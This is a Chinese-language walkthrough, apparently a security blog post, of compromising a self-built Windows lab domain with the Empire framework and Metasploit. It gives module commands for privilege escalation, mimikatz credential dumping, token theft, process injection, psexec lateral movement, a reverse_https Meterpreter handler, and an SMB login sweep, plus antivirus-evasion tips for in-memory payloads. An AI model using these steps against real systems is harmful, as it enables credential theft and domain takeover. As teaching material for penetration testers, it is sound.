Empire實戰域滲透

0x01 寫在開始

上一篇文章只是單純的介紹了一些Empire的基本用法,但這麼強大的工具根本不是一篇文章可以說清楚的,就像Metasploit,如果我單純寫一篇文章給你,告訴你這就是Metasploit全部的用法了。但是,真正的實戰中,絕對是一臉蒙蔽的往著眼前的顯示器,我要用什麼命令?我接下來要用什麼模塊?類似這些問題就會在的腦海里迸發,可以說是徹底蒙蔽的狀態。

Empire也一樣,所以我就決定再寫一篇Empire的文章,在域滲透中的使用。這並不是真的域環境,通常在滲透測試中碰到的域環境肯定比我在本地測試的域環境要複雜的多。我並不是專業的運維人員,單單搭建就弄了一個早上,我主要目的是盡量多的給大家介紹Empire的功能模塊,讓大家盡量多的了解Empire,以至於不會在真正的測試環境中蒙蔽,當然這麼大的工具不是簡簡單單可以說請的,還需要大家共同的摸索。

0x02 域環境結構

所在域:tt.smiletest.com

域控:windows server 2012 ip:10.10.10.10

域內其他成員:

Windows 7 x32 ip:10.10.10.11

Windows 7 x64 ip:10.10.10.12

Windows 10 x64 ip:10.10.10.13

域環境結構圖:(求妹子畫得- -!)

0x03 擼起袖子干

首先得拿到一個shell,當然這個shell怎麼來的就看大家自行發揮了,你可以在webshell里直接執行用Empire生成的直接返回會話的shellcode,我也推薦這方法,別問我為啥,因為免殺,而且不會在對方機機器上產生什麼明顯的痕迹;當然你也可以上傳Metasploit的反彈馬,然後在shell下執行這條語句;你還可以在讓伺服器管理員幫你執行!

哈哈,開玩笑,這種方法不存在,總之方法很多了,大家自由發揮,我直接托代碼進去執行了。

拿到一個命令行之後,看看域環境內的主機數量以及看看有幾個域

執行命令:

Shell net viewnShell net view /domainn

這裡有一個地方需要注意的,再上一篇文章中說過,執行的如果不是Empire的命令,那麼這條命令會被解析為windows命令,但是當執行的命令有空格,就必須要用shell去執行。

接下來要做什麼?當然是提權了,當不知道用什麼方法來提權的時候,可以使用一個模塊來檢測系統,讓它告訴你應該用什麼辦法:

usemodule privesc/powerup/allchecksn

看看設置,什麼都不用做,直接執行,它會給返回我們想要的

可以看到,它列出了很多方法,可以直接bypassuac來提權,來吧執行一下,bypassuac 監聽名

稍等幾秒鐘,就會返回一個更高許可權的shell。

如果你還想要更的許可權,可以使用一個模塊提升到系統許可權

usemodule persistence/elevated/schtasksn

使用計劃任務來幫我提升到系統許可權

看看信息:

需要做的只是設置時間而已然後執行

set DailyTime 時間nSet Listener 監聽名n

現在要做的事情就是等了,等時間到了返回具有更高許可權的shell

更高級的許可權已經回來了,這個時候,首先得知道內網中到底有幾台機器,還有就是他們的ip,要不怎麼繼續盡享下去囊?那種小事情則么可能是Empire模塊不自帶的事情囊?可以尋找一下模塊

searchmodule arpscann

立馬,Empire就回顯了,並且提示了它的用處

usemodule situational_awareness/network/arpscann

設置一下要掃描的網段

set Range 10.10.10.10-10.10.10.30n

執行就好了

掃描速度還是很快的,既然已經有許可權了,那可以執行mimikatz來拿到當前靶機的帳號密碼了,mimikatz的執行效果就不給了,等mimikatz執行完成以後直接creds來看Empire列舉好的密碼就好了。

發現還有域用戶在這台機器上登錄了,密碼已明文的形式顯示出來了,可以看到有4個用戶密碼出來了(尼瑪,域管都讀出來了,環境沒配好,假裝沒有 ^_^!),知道誰登陸了,也有許可權了,那自然可以竊取身份用戶了嗎!然後進行橫向移動,來吧,先身份竊取吧,使用pth <ID>這裡的ID號就添上面的用creds 命令拿到的CredID,注意,這裡必須要是hash的CredID,不可以是明文的,來竊取smilewin7x64身份令牌

執行 pth <ID>命令返回PID進程號n

可以看到這個用戶的進程號,

steal_token PID

就可以竊取身份令牌了,可是這裡我就日了狗了,命令就是沒回顯,完全是突發情況,沒辦法,給大家換一個思路,是使用進程注入模塊,來獲取許可權

usemodule management/psinjectn

需要設置的就是ProcID 和 Listener就好了

set ProcId 2912nset Listener smiletestn

設置好後執行,會返回一個新的會話

###你們想知道剛剛發生了什麼嗎?機器屏幕黑了一下,然後虛擬機去外加終端全部關掉了。有鎚子么?還好我的文檔隨手保存,因為我曾經寫500多行的代碼沒有保存,學機靈的,所以,大家也要養成隨手ctrl+s…..題外話,我去整環境,重新來,唉。。

因為網路斷掉,剛剛的數據有緩存,所以PID進程號碼不對,大家可以清理一下緩存,重新執行,我的話懶,介紹新方法:

usemodule credentials/tokensn

信息什麼都不需要設置,直接執行

然後方法一樣,進程注入

哈哈,成功拿到會話後,加下來做什麼?當然是橫向移動了,看看能不能用這個用戶名拿到其他的機器。當然了,在滲透過程中直接模擬域管就好了,我這是為了跟大家演示,大家不要向我學習,這麼傻的做無用功啊 ^_^!

其實這裡我是知道可以登錄哪裡的機器的,但是想要尋找域管在哪裡登錄的,然後橫向移動進去,竊取域管許可權,不就可以拿到整個域了,我在這裡提一下要怎麼尋找域管在哪裡登錄的,使用模塊

usemodule situational_awareness/network/powerview/user_huntern

也是powerview的模塊,大家肯定都用過,看看需要設置什麼

其實什麼也不用設置,可以直接執行的,看一下這個設置吧,可以定向尋找一些東西,比如說你知道域管用戶,那你可以設置一下的,還有計算機名,在這裡直接執行,返回了域管登錄在TTWIN7X64.tt.smiletest.com這台機器上,還有在這台機器上登錄了smilewin7x64這個用戶,哈~剛剛已經竊取到了許可權,來吧,域管

來橫向移動

usemodule situational_awareness/network/powerview/find_localadmin_accessn

查找整個域中全部的計算機名(實際上是powerview中的方法了)

什麼都不需要設置,直接執行

返回了全部的機器名,

usemodule lateral_movement/invoke_psexecn

一樣,看看需要設置的東西

設置機器名和監聽就行,開擼

set ComputerName TTWIN7X64.tt.smiletest.comnset Listener smiletestn

執行

成功,而且是系統許可權,那用相同的辦法,進程注入從而得到域用戶許可權

過程略過

直接到獲取到域用戶kzhl許可權

直接讀密碼了。滲透過程中可能讀不到,你都有域管許可權了,讀不到怕啥??

拿到了域管的密碼,做什麼?當然是迅速擴張了!

0x04 遷移進程到MSF實現smb迅速擴張

使用模塊

usemodule code_execution/invoke_shellcoden

設置方法如下

set Lhost 10.10.10.1nset Lport 4444n

在Metasploit設置監聽

(用Empire用了一晚上,在重返Metasploit,我是誰?我要幹嘛?命令怎麼寫?模塊是什麼?)

這裡注意了,設置的payload必須是http或https的

use exploit/multi/handlernSet payload windows/meterpreter/reverse_httpsnset lport 4444nexploitn

成功返回會話,接下來使用msf進行內網迅速擴張

use auxiliary/scanner/smb/smb_loginnset rhosts 10.10.10.0/24nset smbuser kzhlnset smbpass admin888.nset smbdomain TTnset threads 16nExploitn

恭喜我,擼穿了整個域。。。

0x05 收穫到的一些神奇的想法

我並沒有去測試這些方法的可行性,只是異想天開的在腦海里呈現的一些思路。

1.當我們拿到webshell的時候,苦惱在目標機上的殺軟,無法繞過,可以使用webshell去執行Empire的payload,他直接執行在內存中,殺軟是沒有任何效果的,親測可行,之後在使用Empire的模塊將其反彈會Metasploit,實現了免殺的過程。

2.大家都知道,在Metasploit下的代理是很容易就可以設置的,但是Empire下則不然,很麻煩的一個東西,如果對方有殺軟,可以使用第一個小思路繞過之後,在通過Metasploit添加代理,然後在配置proxychains,使用proxychainx來幫助Empire殺入內網,當然你也可以使用其他的工具,大家如果對代理的使用不是很了解的話,可以參見shutter老哥的一篇文章。

0x06 總結在最後

全文的邏輯和問題比較多,但是基本上給大家比較全面的介紹了Empire這款神器在真正滲透過程中的使用,我想通過這篇文章大家肯定對Empire有一個比較全面的了解,他牛的地方就用它,他弱的地方,用其他的工具輔助他。總之,工具是死的,人是活得。

哎呦,寫這篇文章我表示我真的好辛苦,在滲透過程中碰到了很多問題,不過基本都是環境配置的問題,畢竟我不是運維,不過好在我成功的寫完了全文。馬達,剛剛從公司回來的發現煙沒有了,現在終於寫完了這篇文章,趕緊下樓買包煙冷靜一下,這好幾點的也不知道還有便利店開門,你們懂幹活時候沒有煙的痛苦么??感覺思路都被限制了!我相信你們懂我 ^_^

大家如果還對Empire有什麼問題可以加這個群(617086434)問我,當然也可以進行其他的技術交流了,只要你願意來。

本文為 smile TT 原創稿件,如若轉載,請註明原文地址:tEmpire實戰域滲透 更多內容請關注「嘶吼專業版」——Pro4hou

推薦閱讀:

介紹幾種常見的提權方法,你用過幾個?
走進敏捷|成老師教你做線上推廣
安全觀點:你應該知道自己想成為什麼樣的人?
滲透技巧——Windows中Credential Manager的信息獲取

TAG:技术分析 | 信息安全 |